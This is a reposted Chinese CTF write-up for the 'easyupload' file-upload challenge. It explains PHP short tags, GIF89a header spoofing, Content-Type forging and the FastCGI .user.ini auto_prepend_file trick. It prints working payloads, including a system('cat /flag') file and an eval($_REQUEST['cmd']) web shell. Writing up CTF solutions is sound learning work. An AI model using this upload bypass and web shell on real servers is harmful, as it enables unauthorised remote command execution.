0


攻防世界ctf题目easyupload做题笔记。

刚刷完upload-labs靶场,做做ctf题目,发现自己掌握的知识并不牢固。做了半天没有解出来,最后还是看别人的题解做出来的。写下做题过程,也就是wp吧。为了方便以后复习巩固。

本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

这里需要绕过的点如下

  • 检查文件内容是否有php字符串
  • 检查后缀中是否有htaccess或ph
  • 检查文件头部信息
  • 文件MIME类型

对于第一点可以利用短标签绕过,例如<?=phpinfo();?>(这同时也是我的知识盲区)

对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,

可以参考以下文章

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

知识点:在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。

这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。

知识点:

auto_prepend_file 表示加载第一个PHP代码之前执行指示(包含的)PHP文件
auto_append_file 表示加载第一个PHP代码之后执行指示(包含的)PHP文件
简单来说

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。

第三点绕过方式即在文件头部添加一个图片的文件头,比如

GIF89a
知识点:

一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。

php下检测(使用getimagesize函数无法判断其图片是无效的)

第四点绕过方法即修改上传时的Content-Type为image/jpg

得到flag过程:

上传.user.ini,内容为:

GIF89a                  
auto_prepend_file=a.jpg

上传a.jpg,内容为:

GIF89a
<?=system('cat /flag');?>

GIF89a

<?=eval($_REQUEST['cmd']);?>

上传成功根据文件地址连接蚁剑获取flag


本文转载自: https://blog.csdn.net/qq_56426046/article/details/126563269
版权归原作者 夜yesir 所有, 如有侵权,请联系我们删除。

“攻防世界ctf题目easyupload做题笔记。”的评论:

还没有评论